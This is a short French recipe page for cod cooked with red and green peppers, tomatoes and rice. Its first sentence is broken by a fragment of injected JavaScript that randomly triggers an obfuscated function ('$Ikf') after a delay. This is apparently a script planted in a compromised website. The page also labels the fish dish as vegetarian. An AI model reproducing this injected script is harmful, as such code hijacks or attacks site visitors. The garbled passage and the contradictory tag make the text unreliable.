Cabillaud aux 2 poivrons
2018-01-02- Cuisine : Poissons
- Thématique : Végétarien
- Niveau : Facile
Dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande casserole d’eau bouillante salée. Versez le riz et faites cuire en respectant le temps de cuisson indiqué sur le paquet.
Ingrédients
- Pour 4 personnes
- 400 g de cabillaud
- 4 poivrons rouges
- 4 poivrons verts
- 200 g de riz
- 4 petites tomates
- 2 pincées de thym
- 1 feuille de laurier
- Sel- Poivre
Préparation de la recette
Etape 1
Dans une grande casserole d'eau bouillante salée. Versez le riz et faites cuire en respectant le temps de cuisson indiqué sur le paquet.
Etape 2
Lavez, séchez, coupez en deux les poivrons. Ôtez les petites graines et la peau blanche, détaillez les en fines lamelles.
Etape 3
Dans une cocotte avec 2 cuillères à soupe d'huile d'olive faites fondre les poivrons, ajoutez les tomates pelées, épépinées et coupez en petits dés, le thym, le laurier, salez, poivrez.
Etape 4
Rincez, séchez le poisson, que vous incorporez dans la sauce.
Etape 5
Faites cuire sur feu doux pendant 10 minutes. Vérifiez la cuisson et dégustez.
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